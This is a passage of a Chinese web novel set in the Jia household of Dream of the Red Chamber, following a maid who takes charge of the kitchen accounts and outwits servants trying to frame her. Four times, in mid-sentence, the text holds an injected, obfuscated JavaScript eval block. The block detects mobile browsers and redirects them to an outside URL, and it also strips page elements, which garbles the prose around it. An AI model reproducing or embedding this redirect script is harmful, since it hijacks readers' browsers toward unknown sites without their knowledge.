“力有不逮？”王熙凤挑眉，语气带着一丝压迫，“你能看出渠塘工程的虚账，能辨出绸缎庄单据的真伪，区区一个厨房的流水账，就能难倒你了？” 她不等苏璃回答，便继续道：“不必妄自菲薄。我看中的就是你这份细致和明白。你只管去做，按规矩来，该记的记，该查的查。有什么难处，或是哪个不开眼的敢为难你，直接来回我。” 这话，便是给了她尚方宝剑。 苏璃知道，这不是商量，是命令，也是考验。她不再推辞，深吸一口气，肃容应道：“是！奴婢遵命，定当竭尽全力，为奶奶理清账目。” “嗯。”王熙凤满意地点点头，对平儿道，“平儿，你带她过去，跟厨房那几个管事的说清楚。往后厨房的账目，一律由柳絮负责登记核查，每日呈报。采买支取银子，也需有她画押才算数。” “是，奶奶。”平儿应下，看向苏璃的眼神带着鼓励，也有一丝不易察觉的担忧。 大厨房位于荣国府后身，独占了一个大院落。还未走近，便听得里面人声鼎沸，锅碗瓢盆碰撞声、切菜声、婆子媳妇的吆喝声混杂在一起，热闹非凡。 平儿带着苏璃一走进去，里面的嘈杂声顿时低了下去。所有人的目光都聚焦过来，带着好奇、审视，还有明显的警惕。几个管事的媳妇——李嫂子、赵嬷嬷、王婆子等连忙迎了上来，脸上堆着笑。 “平姑娘怎么得空过来了？”李嫂子曾是苏璃在杂役院时的“上司”，此刻笑容有些勉强，目光在苏璃身上打了个转。 平儿脸上带着惯常的温和笑意，语气却清晰坚定：“奉二奶奶的命，过来传个话。从今日起，厨房里所有采买、入库、出库的账目，一应由柳絮姑娘接管登记。每日用了什么，用了多少，剩余多少，都需记录在册，晚间报给二奶奶过目。往后支取采买银子，也需柳絮姑娘核对画押方可。” 话音一落，厨房里顿时一片寂静。落针可闻。 李嫂子脸上的笑容僵住了，赵嬷嬷和王婆子交换了一个眼神，都看到了对方眼中的惊疑和不满。其他帮厨的、洗菜的婆子丫鬟们，也都屏住了呼吸，偷偷打量着那个站在平儿身边，身形瘦小，面容沉静的少女。 她们大多认得柳絮，知道她原是杂役院最低等的丫头，不知走了什么运被二奶奶看中，提拔到身边。却没想到，这才多久，竟然把手伸到厨房这块肥肉上来了！还要每日登记核查，支取银子需她画押？这简直是卡住了所有人的喉咙！ “平、平姑娘，”李嫂子挤出一丝笑，试图挣扎一下，“这……厨房里的事儿琐碎，油盐酱醋，鸡毛蒜皮，记账最是麻烦。柳絮姑娘年纪轻，怕是……怕是忙不过来，而且这采买支取……” 平儿脸上的笑意淡了些，打断她：“这是二奶奶的决定。柳絮姑娘能力如何，奶奶心里有数。至于忙不忙得过来，那是她的事。诸位妈妈、嫂子都是府里的老人了，规矩自然是懂的，好生配合便是，莫要让二奶奶操心。” 她将王熙凤抬出来，语气虽温和，却带着不容置疑的意味。 李嫂子等人顿时噤声，不敢再多言，只是那脸色，都难看得很。 “柳絮妹妹，这里就交给你了。”平儿转向苏璃，拍了拍她的手，“若有不懂的，或是需要人手，只管来跟我说。” “谢平儿姐姐。”苏璃点头。 平儿又扫了众人一眼，这才转身离去。 平儿一走，厨房里的气氛顿时变得诡异起来。表面上，李嫂子等人强笑着上前，口称“柳絮姑娘”，引着她去看账本、货架，介绍日常流程，但那笑意未达眼底，言语间也带着几分试探和疏离。 苏璃只当不觉，神色平静地跟着她们。她先去看那所谓的“账本”，不过是几本破烂不堪、字迹潦草、涂改无数的旧册子，记录得混乱不堪，根本看不出个所以然。 她又去查看了米面粮油、菜蔬肉蛋的库房。堆放得杂乱无章，新米陈米混在一处，干货湿货不分，损耗多少，全凭管事媳妇一张嘴说。 苏璃心中冷笑，这哪里是账目糊涂，根本就是一笔故意搅浑的烂账，方便上下其手。 她没有立刻发作，只是默默观察，将看到的一切记在心里。 到了午膳前最忙碌的时候，她更是静静站在一旁，看着采买的人如何送货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908584|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来，管事媳妇如何验收或者说，如何挑挑拣拣、克扣斤两，食材如何分配各房，以及那些明显超出定额的“富余”食材，最终流向了何处…… 一道道目光，或明或暗地落在她身上，带着戒备，带着敌意，也带着等着看她笑话的幸灾乐祸。一个黄毛丫头，想捋顺厨房这团乱麻？只怕是自取其辱！ 苏璃对这一切视若无睹。她很清楚，王熙凤把她放到这个位置上，就是要她来做这个“恶人”，来打破原有的利益格局。她不需要得到这些人的喜欢，只需要让她们害怕，让她们无法再像以前那样肆意妄为。 傍晚，厨房将今日的“流水账”，一张写得歪歪扭扭、数目含糊的纸，送到了苏璃临时占用的小桌子前。 苏璃看了一眼，便放在一旁。她取来自己准备好的、格式统一的新账簿，拿起笔，蘸饱了墨。 然后，在厨房众人或明或暗的注视下，她开始根据自己白日观察和记忆，重新登记造册。米面几何，油盐多少，各房领用几许，剩余几合……笔尖在纸上游走，发出细微的沙沙声，字迹工整，条理清晰。 她不需要询问任何人，只凭自己看到和算出的数据。那些试图隐瞒、糊弄的数字，在她笔下无所遁形。 李嫂子等人看着她伏案书写的侧影，那沉静专注的神情，以及笔下流淌出的、与以往截然不同的清晰账目，脸色渐渐变了。 这丫头……不是来装样子的。她是动真格的！ 一种无形的压力，开始在这烟火气十足的厨房里弥漫开来。 当苏璃将重新誊写清楚、数目分明的新账册合上时，窗外已是暮色四合。 她站起身，目光平静地扫过厨房里或坐或站、神色各异的众人，声音清晰地说道：“从明日起，一切采买入库，需经我点数登记。各房领用食材，也需按定量，由我这边签字确认。以往的旧账，既往不咎。但从今往后，一切需按新规矩来。” 她顿了顿，语气依旧平淡，却带着一股不容置疑的力量：“诸位都是明白人，想必清楚二奶奶的脾气。办好差事，大家安稳。若有人还想在账目上动手脚，或是阳奉阴违……” 她没有把话说完，但那双沉静的眼眸里透出的冷光，让在场几个心思活络的管事媳妇，心头都是一寒。 苏璃拿起那本新账册，不再多看众人一眼，转身走出了厨房。 身后，是一片死寂，以及无数道交织着震惊、愤怒、以及一丝隐隐恐惧的目光。 她知道，这只是开始。接管厨房账目，如同捅了一个巨大的马蜂窝。接下来的反扑和刁难，恐怕会接踵而至。 但她的脚步没有丝毫迟疑。 回到王熙凤院里，将账册呈上。王熙凤翻看着那字迹工整、条目清晰的新账，对比之前那如同天书般的旧纸，嘴角终于勾起一抹真正的笑意。 “办得不错。”她合上账册，看着苏璃，“我就知道，你没让我看错。” 苏璃垂首：“是奶奶教导有方。” 王熙凤挥挥手让她下去休息。 走出正房，夜风带着寒意吹来。苏璃抬头看了看漆黑的夜空，繁星点点。 立足未稳便临危受命，前路注定步步惊心。但她知道，唯有经过这般烈火淬炼，她这把刀，才能真正变得锋利，也才能真正在这深宅大院里，拥有属于自己的、不可动摇的立足之地。 厨房的战役，已经打响，而她，毫无退路。 12. 敲山震虎 新官上任的三把火，尚未点燃，阴风已然四起。 苏璃接管厨房账目的第二日，便察觉到了那股无声的抵抗。 清晨她去点验新送来的菜蔬，送菜的汉子眼神躲闪，称重的杆秤微微发颤——那筐本该足秤的青菜，硬是短了三四斤。她不动声色，只在账册上记下实收数目，淡淡道：“按这个数结算。” 那汉子脸色一白，喏喏应下，仓皇而去。 这边刚打发走采买，那边负责洗切配菜的婆子们便开始“叫苦连天”。这个说今日送来的萝卜空心，那个道送来的猪肉肥膘太厚，浪费自然就多，话里话外，无外乎是“巧妇难为无米之炊”，若按定例，各房的菜色怕是难以周全。 李嫂子更是亲自端着一小碟明显炒糊了的青菜来到苏璃面前，皮笑肉不笑：“柳絮姑娘，您瞧瞧，这灶下的火候如今也不好把握了。老婆子们手脚粗笨，若是按新规矩卡得太死，只怕耽误了主子们用膳，这责任……我们可担待不起啊。” 苏璃抬眸，看了一眼那碟焦黑的青菜，又看了看李嫂子那看似谦卑实则挑衅的眼神。她没有动怒，甚至没有多余的表情，只平静地指了指旁边记录食材损耗的册子：“火候不佳，是灶上之事，与定额无关。损耗几何，按实记录便是。若人手不足或技艺不精，李嫂子可列个章程，回明二奶奶，是添人还是另行指派，自有奶奶定夺。” 她四两拨千斤，将“责任”二字轻飘飘地推了回去，丝毫不接对方试图将“饭菜质量下降”这顶帽子扣过来的招数。李嫂子噎了一下，脸色讪讪，只得退下。 苏璃心知肚明，这只是试探性的小动作，真正的麻烦还在后头。她并不急于发作，只是更加严格地执行着新规。 每一笔入库，她都亲自过秤、验看质量；每一笔出库，她都核对各房定例，要求领用人签字画押；每日剩余的食材，她也一一清点封存。账册之上，数目清晰，笔笔分明，再无半分含糊。 这种水泼不进的严谨，让习惯了浑水摸鱼的厨房众人，如同被套上了紧箍咒，浑身不自在。私下里的怨气，如同夏日沼泽里的气泡，咕嘟咕嘟地冒个不停。 这日午后，厨房里难得的清闲片刻。几个婆子媳妇聚在角落里，一边剥着豆子，一边低声抱怨。 “……真真是阎王好见，小鬼难缠！不过识得几个字，拿起鸡毛当令箭！” “就是！以往咱们手指缝里漏点，也够家里嚼用，如今倒好，连根菜叶子都卡得死死的！” “李嫂子，您可是咱们这儿的老人了，就真由着这黄毛丫头骑到头上？” “……” 李嫂子阴沉着脸，手里用力掐着一根豆角，低声道：“急什么？她一个丫头片子，能有多大能耐？府里上下几百口人吃饭，稍有差池，就是天大的过错！咱们只需‘按规矩’办事，不出几日，自然有她好看！” 几人正嘀咕着，忽见苏璃从外面回来，手里还拿着一个小布包。她径直走到存放干货的库房前，打开门锁——这是她接管后新加的规矩，钥匙由她一人掌管。 众人立刻噤声，眼神却不由自主地瞟向她手中的布包，以及她走进库房的背影。 没过多久，苏璃便从库房里出来了，手里依旧拿着那个布包，面色如常地锁好门，回到了她那张小书案前。 然而，就在她离开后不到一炷香的功夫，赵嬷嬷忽然惊叫起来：“哎呀！我放在灶台边上那块准备晚上给琏二爷做醒酒汤的火腿呢？那么大一块，怎么不见了？” 厨房里顿时一阵骚动。众人帮忙寻找，犄角旮旯翻了个遍，却踪影全无。 “怪事！方才还在的！” “莫不是被野猫叼了去？” “瞎说！哪有那么大的野猫！” 李嫂子眼神闪烁，目光似有若无地扫过苏璃那边，声音不大不小，刚好能让所有人听见：“这厨房里，往日可从没丢过东西。自从……唉，许是忙乱，不知被谁收拣到哪里去了吧。” 这话意有所指，顿时将所有人的目光都引向了苏璃。库房钥匙在她手里，她又刚独自进去过，那块价值不菲的火腿不翼而飞，她的嫌疑最大。 苏璃坐在书案后，仿佛没有听到那边的喧哗，依旧低头核对着手里的单据。 赵嬷嬷按捺不住，走到苏璃面前，语气带着质问：“柳絮姑娘，你可瞧见我那块火腿了？约莫两斤重，就放在灶台边的。” 苏璃抬起头，目光平静地看着她：“赵嬷嬷，我自回来便在此核对账目，并未留意你的火腿。库房重地，我进出皆按规矩，入库出库皆有记录，嬷嬷若是不信，可以随时查账。” 她语气不卑不亢，将“查账”二字点了出来。 赵嬷嬷被她看得有些心虚，但仗着人多，依旧强硬道：“查账？账目自然是清的！可这实物没了，总得有个说法！那可是给二爷预备的！” 就在这时，厨房外传来小丫鬟的声音：“柳絮姑娘，二奶奶屋里的丰儿姐姐来了。” 只见丰儿端着一个小空碟走了进来，笑道：“柳絮妹妹，奶奶方才说嘴里没味，想起库房里还有些旧年的紫菜，让你取些给她冲碗汤。我方才去你屋里寻你，平儿姐姐说你把这个落在屋里了，让我顺便带过来。”说着，将手中那个眼熟的小布包递还给苏璃。 苏璃接过布包，打开，里面正是几片包得好好的、干爽的紫菜。她对着丰儿笑了笑：“有劳丰儿姐姐，我方才想着对完账就去取，一时忙忘了。”她拿起库房钥匙，对赵嬷嬷等人道：“既然丰儿姐姐来了，诸位若对库房存疑，不妨一同进去看看，也好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908585|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做个见证。” 李嫂子、赵嬷嬷等人面面相觑，骑虎难下。只得硬着头皮，跟着苏璃和丰儿再次进入库房。 库房里货物堆放整齐，账册记录与实物一一对应，根本没有任何多余的火腿。 就在这时，一个在灶下烧火的小丫头怯生生地开口：“赵、赵嬷嬷……我方才好像看见，您把那块火腿放在沥水架下面那个空盆里盖着了，说是怕落灰……” 赵嬷嬷一愣，猛地冲到沥水架旁，掀开那个倒扣着的木盆，那块油光锃亮的火腿，赫然就在盆底！ 场面瞬间尴尬至极。 赵嬷嬷脸色一阵红一阵白，张着嘴说不出话来。李嫂子等人也臊得满脸通红，恨不得找个地缝钻进去。 丰儿何等聪明，立刻明白了怎么回事，她收起笑容，目光扫过李嫂子、赵嬷嬷等人，语气带着一丝冷意：“奶奶让我来取点紫菜，倒没想到，还能看这么一出戏。厨房里当差，心思还是放在正经营生上才好，整日里想七想八，搬弄是非，若是耽误了主子们的事，仔细你们的皮！” 这话极重，李嫂子等人吓得连忙躬身称是，冷汗直流。 丰儿不再理会她们，对苏璃点点头，拿着紫菜便离开了。 苏璃自始至终，没有再多看那些人一眼，也没有出言斥责。她只是默默地锁好库房门，回到书案前，继续她未做完的账目核对。 然而，经此一事，厨房里的气氛彻底变了。 那种无声的抵抗和试探，如同被阳光刺破的晨雾，瞬间消散大半。取而代之的，是一种真正的敬畏和恐惧。她们意识到，这个看似沉静的少女，不仅心思缜密，手段更是老辣。她根本不屑于与她们争辩，只凭借绝对的规矩和不动声色的反击，便让她们的算计落空，还险些引火烧身。 这轻描淡写间的“敲山震虎”，比任何疾言厉色的训斥都更具威慑力。 傍晚，苏璃将一日账册呈给王熙凤。王熙凤翻看着，随口问了一句：“今日厨房里可还安稳？” 侍立在一旁的丰儿，便将午后火腿风波当做趣事，简单说了一遍。 王熙凤听完，嗤笑一声，将账册合上，对苏璃道：“做得不错。对付这些刁奴，就得让她们知道，哪些心思能动，哪些心思动了，会烫着手。” 苏璃垂眸：“是奶奶威重，奴婢只是依规矩办事。” 王熙凤满意地点点头，挥挥手让她退下。 走出房门，苏璃轻轻吁出一口气。这第一回合，她算是稳住了阵脚。但她也知道，李嫂子等人绝不会就此甘心。暂时的蛰伏，或许意味着更隐蔽的反扑。 她抬头望向暮色中层层叠叠的飞檐斗拱，目光沉静。 山已敲过，虎暂蛰伏。但这深宅大院里的“虎”，又何止厨房这一窝？ 13. 利益同盟 厨房的火腿风波，如同一盆冷水，浇熄了明面上的反抗，却将暗流逼向了更深处。 李嫂子连着几日寝食难安，苏璃那看似平静无波的眼神，比任何责骂都让她心惊。 她掌管厨房多年，手指缝里漏出的油水，早已成了她和她背后那一大家子赖以生存的倚仗。如今这财路被硬生生掐断，简直是要了她的老命。 “不能再这么下去了！”这日下了值，她悄悄拉住赵嬷嬷和王婆子，三人躲进厨房后堆放杂物的窄巷里，脸上皆是愁云惨淡。 “那丫头铁面无情，油盐不进，如今连丰儿姑娘都明着帮她说话，我们还能怎样？”赵嬷嬷唉声叹气，想起那日的难堪，脸上还火辣辣的。 王婆子压低声音，眼里闪着怨毒的光：“她不过是仗着二奶奶的势！我就不信，二奶奶能一直护着她！府里这么多老人，还能让一个毛丫头骑在头上？” 李嫂子咬着后槽牙，声音从齿缝里挤出来：“光靠我们几个不行。得找人，找能说得上话的人！”她眼神闪烁，压低声音，“你们可还记得……周瑞家的？” 赵嬷嬷和王婆子对视一眼，都看到了对方眼中的亮光。周瑞家的因之前渠塘账目的事，被革了三个月月钱，在二奶奶面前大大失了体面，对那柳絮怕是恨之入骨。她男人周瑞在外面有些脸面，她自己在府里经营多年，人脉比她们广得多。 “只是……周瑞家的如今自身难保，还能帮我们？”赵嬷嬷有些迟疑。 “瘦死的骆驼比马大！”李嫂子笃定道，“她比我们更恨那丫头！敌人的敌人，就是朋友。我们凑些银子，再去求她，她定然不会袖手旁观！” 三人计议已定，各自悄悄凑了些体己，趁着夜色，像老鼠一样溜向了周瑞家的住处。 周瑞家的这几日正憋闷得慌。丢了体面，少了进项，连往日巴结她的下人如今见了她也多是表面客气。她将这切齿之恨，全记在了苏璃头上。 见李嫂子三人深夜来访，还带着“心意”，她心中立刻明镜似的。她也不点破，只阴沉着脸，听她们哭诉厨房如今的“艰难”和苏璃的“专横”。 “……周姐姐，您可是府里的老人了，最得脸不过。如今我们被那丫头逼得实在没了活路，您可得给我们指条明路啊！”李嫂子说着，将一小包碎银子推了过去。 周瑞家的瞥了那银子一眼，没有立刻去拿，只是冷笑一声：“指条明路？如今我自身难保，还能指什么路？那丫头正得二奶奶的意，风头正劲，连旺儿家的都暂避锋芒，我们又能如何？” “姐姐何必妄自菲薄？”李嫂子忙道，“您根基深厚，岂是我们能比的？那丫头再得意，也不过是个无根无基的丫鬟，还能翻了天去？只要寻个机会，让她栽个跟头，二奶奶还能一直护着一个惹是生非的？” 周瑞家的眼神动了动，手指摩挲着茶杯边缘，沉吟道：“机会……倒也不是没有。”她压低了声音，“你们可知道，再过半月，便是东府敬老爷的寿辰？” 三人一愣，不知她为何突然提起这个。 周瑞家的继续道：“敬老爷虽是修道之人，不喜热闹，但礼数不能废。两府往来，寿礼、宴席，哪一样不要银子？尤其是宴席，虽说不比往年大肆操办，但该有的体面还得有。这采买、备料、人手安排……哪一样不是从公中出？这里面的开销……” 她意味深长地顿了顿，看着眼前三双骤然亮起的眼睛，“厨房是重中之重。以往这类大事，采买都是肥差，油水足得很。如今账目卡得死，你们捞不到好处，但若是……在这节骨眼上，出了点什么‘意外’，比如食材不新鲜，分量不足，或是宴席上出了纰漏……” 李嫂子瞬间明白了她的意思，心脏砰砰直跳：“姐姐的意思是……我们暗中做些手脚，把这事搅黄，然后嫁祸给那柳絮？说她年轻不懂事，调度不力，或是中饱私囊，克扣了用料？” “话可不能这么说。”周瑞家的阴阴一笑，“我们只是‘按规矩’办事，是她柳絮姑娘新立的规矩太死，下面的人手脚被束缚，难免出错。至于中饱私囊……她手里过的银子多了，谁能保证干干净净？到时候，众口铄金，积毁销骨，二奶奶就算想护着她，也得掂量掂量影响不是？” 一番话，如同醍醐灌顶。李嫂子三人相互看了一眼，都看到了彼此眼中的狠厉与决绝。 “只是……这事需做得隐秘，还需里应外合。”周瑞家的慢悠悠地道，“采买那边，我倒是能递上话。至于厨房里面，就看你们的了。还有……府里其他各处，若也能有些‘呼应’，那就更好了。” 这便是要结成同盟，共同发力了。 李嫂子立刻表态：“姐姐放心！厨房里我们经营多年，心腹还是有几个的！定叫她哑巴吃黄连，有苦说不出！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908586|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好！”周瑞家的终于伸手，将那一小包银子拢入袖中，脸上露出许久未见的、带着狠意的笑容，“那我们就……静待时机。” 一条基于共同利益和仇恨的隐秘同盟，在这深夜的陋室里，悄然结成。目标直指那个刚刚在厨房站稳脚跟的少女。 与此同时，苏璃对这场针对她的密谋尚且无知无觉。她正忙于适应新的角色，并将现代管理的思维一点点融入其中。 她发现厨房效率低下，浪费严重，不仅仅是贪墨的问题，还有流程的混乱。她便着手制定更细致的分工排班，将采买、验收、保管、清洗、切配、烹饪等环节责任到人，减少推诿。又根据各房主子丫鬟的不同等级和口味偏好，略微调整了食材分配细则，既避免了不必要的浪费，也在不经意间，让一些原本被克扣的底层仆役伙食略有改善。 这些细微的变化，起初并不起眼，但时间稍长，便显出效果来。厨房运作似乎顺畅了些，一些老实干活的婆子丫头发现，按新规矩办事，虽然没了外快，但活计分明，少了些扯皮，每日下值反而更轻松点。看向苏璃的目光里，除了敬畏，也渐渐多了一丝信服。 平儿偶尔来厨房，将这些变化看在眼里，回去便说与王熙凤听。王熙凤虽未表态，但嘴角那丝若有若无的笑意，显示了她对苏璃这般“润物细无声”的手段颇为满意。 这日，王熙凤将苏璃叫到跟前，吩咐道：“过些日子是东府敬老爷寿辰，虽说不比往年，但宴席还是要预备几桌。你提前拟个单子，估算下用料和开销，报给我看。” 苏璃心中一动，知道考验又来了。这类府际往来、宴请宾客的事，最是考验管家之人的能力和分寸。她恭敬应下：“是，奶奶。” 回到厨房，她便开始查阅往年类似规模宴席的旧档，结合当前市价，仔细核算。她深知这其中牵涉众多，务必做到账目清晰，用料合理，既不能显得寒酸丢了贾府脸面，也不能过于奢靡授人以柄。 然而，她并不知道，一张无形的大网，正借着这次寿宴的机会，悄悄向她笼罩过来。李嫂子等人看似配合地提供着往年的数据，眼神却交换着只有她们自己才懂的讯息。 山雨欲来，风已满楼。 苏璃埋首于账册之间，窗外的阳光映照着她专注的侧脸。她凭借自己的能力，一步步走到现在，却不知暗处的同盟已然结成，即将把她卷入更深的漩涡。 14. 小惠全大体 贾敬寿辰的宴席单子，苏璃拟得格外谨慎。她翻阅了近三年宁荣两府类似规模宴请的旧例，又结合当前市价，将用料、人工、器皿损耗一一列明，总数目比旧例还略低些，却该有的体面一样不少。 单子呈上去，王熙凤只看了一眼总数目，便点了点头：“嗯，是个知道轻重的。就按这个预备吧。”算是过了明路。 消息传到厨房，李嫂子等人表面应承，心底却暗自冷笑。单子批了，才好动手脚。 寿辰前三天，采买上的动静便有些不同寻常。送来的食材，质量看着与往常无异，数量也大致对得上苏璃列的单子，但仔细查验，便能发现些许蹊跷：那活鱼看似鲜活，鳞片下却隐约透着些不自然的暗红；送来的时鲜蔬菜，品相完好，根茎处却带着不易察觉的萎蔫；就连那上等的绍兴黄酒，封泥完好，晃动着听声音却似乎比往常浊重些。 苏璃每日亲自验收，这些细微之处自然逃不过她的眼睛。她不动声色，只在验收册上将这些“细微差异”一一注明，让送货的人画押。送货的是生面孔，眼神躲闪，画押时手都有些抖。 李嫂子在一旁冷眼旁观，见苏璃并未当场发作，只当她是年轻识浅，看不出其中关窍，或是看出了却不敢声张，怕担责任，心中不由得意。 这日晚间，苏璃核对完当日所有账目，并未立刻离开。她走到厨房后院，那里有几个粗使婆子正就着冷水清洗明日要用的器皿，手冻得通红。 苏璃走过去，声音平和：“妈妈们辛苦了。” 那几个婆子见她过来，都有些拘谨，连忙起身。其中一个姓孙的婆子胆子大些，赔笑道：“不辛苦，都是分内的事。柳絮姑娘这么晚还没歇着？” 苏璃笑了笑，从袖中取出一个小纸包，递给孙婆子：“天冷，这几块姜糖，妈妈们分着含含，驱驱寒气。” 孙婆子一愣，受宠若惊地接过，连声道谢。其他婆子也围了过来，脸上都带着些难以置信的感激。她们是厨房里最底层的，往日里别说赏赐，能少挨些骂就不错了。 苏璃状似无意地看向堆放食材的角落，轻声道：“这几日为了寿宴，采买送来的东西多，妈妈们清洗收拾时也仔细些。我瞧着那送来的鲜鱼，鳞片似乎不如往常光亮，怕是路上受了风，妈妈们处理时多留意，别让不干净的东西混进去，冲撞了主子。” 孙婆子捏着那几块难得的姜糖，听着这温和的叮嘱，心里一热，忙道：“姑娘放心，老婆子们晓得分寸，定仔细查验！” 苏璃点点头，没再多说，转身离开了。 孙婆子看着她的背影，对旁边几个婆子低声道：“柳絮姑娘年纪虽小，倒是个仁义的，体恤咱们。”她捏了捏手里的姜糖，想起白日里隐约看到送来的鱼似乎真有些不对劲，心里便存了份小心。 寿辰正日，宁国府那边虽未大肆铺张，但也张灯结彩，宾客盈门。荣国府这边预备的席面食材，一早便由李嫂子亲自带着几个得力的人手送了过去，连同苏璃详细列明的食材清单和验收记录。 苏璃留在荣国府厨房，照常打理日常膳食。她看似平静，心神却有一丝紧绷，留意着东府那边的任何消息。 午时刚过，宁国府一个小丫鬟急匆匆跑来，脸色发白，找到李嫂子，声音带着哭腔：“李嫂子，不好了！宴席上有一道酒酿清蒸鸭子，几位老爷尝了都说味道不对，有股子……说不出的腥气！珍大奶奶发了好大的火，让立刻查清楚！” 李嫂子心中狂跳，面上却强自镇定，跟着小丫鬟就往东府去，临走前，意味深长地瞥了苏璃一眼。 厨房里顿时议论纷纷，人心惶惶。酒酿鸭子是苏璃单子上列的，食材是李嫂子经手送去的，如今出了纰漏，这责任…… 不多时，李嫂子回来了，脸色铁青，身后还跟着宁国府的一个管事媳妇。那媳妇目光扫过厨房众人，最后落在苏璃身上，语气不善：“柳絮姑娘，我们奶奶请你过去一趟，问问那酒酿鸭子的事。” 来了。 苏璃心中冷笑，面上却依旧平静，放下手中的账册，起身道：“好。” 宁国府花厅里，气氛凝重。尤氏坐在上首，脸色很不好看。王熙凤也被请了过来，坐在一旁，端着茶，面色看不出喜怒。周瑞家的竟也垂手站在一旁，眼神低垂，嘴角却有一丝若有若无的弧度。 见苏璃进来，尤氏将手中的茶杯重重一顿，厉声道：“柳絮！你可知罪！” 苏璃上前，规规矩矩行礼：“给珍大奶奶、二奶奶请安。不知奴婢所犯何罪？” “还敢狡辩！”尤氏指着旁边桌上那盘几乎没动过的酒酿鸭子，“这鸭子是你单子上列的，如今味道不正，冲撞了宾客，丢了我们两府的脸面！你负责拟定菜单，监管食材，出了这等纰漏，不是你的罪过是谁的？” 李嫂子立刻跪倒在地，哭诉道：“二位奶奶明鉴！奴婢只是按柳絮姑娘的单子采买、运送，所有食材都是柳絮姑娘亲自验收画押的！奴婢万万不敢有丝毫怠慢啊！”她这话，瞬间将所有责任推到了苏璃的验收环节上。 周瑞家的也适时开口，语气“公允”：“二奶奶，这丫头年纪小，怕是经验不足，验收时有所疏漏也是有的。只是这寿宴大事，出了这等差错，实在不该……” 王熙凤没说话，只看着苏璃。 苏璃等她们说完，才不慌不忙地开口，声音清晰：“回珍大奶奶、二奶奶，这道酒酿清蒸鸭子，所用活鸭、酒酿及其他辅料，三日前由兴隆杂货铺送来，当时奴婢验收时，便发现那活鸭精神不振，翅下略有异味，已在验收册上注明‘鸭活，然神萎，疑路途劳顿，需仔细清洗处理’，并有送货人画押为证。昨日食材运送东府前，奴婢亦将验收册副本及注意事项，一并交予李嫂子，并再三叮嘱，需告知东府灶上师傅，务必仔细处理。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908587|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说着，从袖中取出那份验收册的原始记录，双手呈上：“此乃原始记录，请二位奶奶过目。奴婢人微言轻，不敢擅专，唯有据实记录，依规办事。” 尤氏接过那记录，果然看到在活鸭那一栏后面，有一行清晰的小字备注，还有歪歪扭扭的画押。她脸色顿时变得精彩起来。 李嫂子没想到苏璃竟留有这一手，还记录得如此清楚，顿时慌了神：“你……你当时只说略有萎靡，并无大碍……” 苏璃转向她，目光平静无波：“李嫂子，我当时如何说的，自有记录为证。我将注意事项交予你时，可曾让你隐瞒不报？还是嘱咐你务必转达灶上？” 李嫂子张口结舌，冷汗涔涔而下。她当时只想着借此做文章，哪里会如实转达？ 王熙凤此时才放下茶杯，慢悠悠地开口，语气带着冷意：“如此说来，倒是下面的人办事不力，未能将话传到，或是……灶上处理不当了？”她的目光扫过李嫂子和那个宁国府的管事媳妇。 那管事媳妇吓得连忙跪倒。 尤氏脸上青红交加，狠狠瞪了李嫂子一眼，又看向周瑞家的，见她低头不语，心中更是恼火。她本想借机敲打一下王熙凤和这个碍眼的丫头，却没想反被将了一军，还显得自己治下不严。 王熙凤见火候差不多了，便对尤氏笑道：“大嫂也别动气了，好在发现得早，没闹出大笑话。下面的人办事疏忽，罚了便是。只是这验收的丫头，倒是心细，知道提前留个凭证，不然这黑锅，可就背得冤枉了。”她这话，明着劝解，暗里却把苏璃摘得干干净净，还赞了一句。 尤氏只得顺着台阶下，斥责了李嫂子和那管事媳妇几句，罚了月钱了事。 风波平息，苏璃跟着王熙凤回到荣国府。 路上，王熙凤瞥了苏璃一眼，淡淡道：“今日这事，你处置得不错。小惠全大体，既全了规矩，也没让人拿了错处。” 苏璃知道，王熙凤指的是她提前记录并叮嘱的举动，以及那几块不起眼的姜糖——若非孙婆子因那点“小惠”格外留心，提前发现那鸭子确实有问题并悄悄告知了苏璃，她今日也无法如此底气十足。 “谢奶奶夸奖，奴婢只是尽本分。”苏璃恭声道。 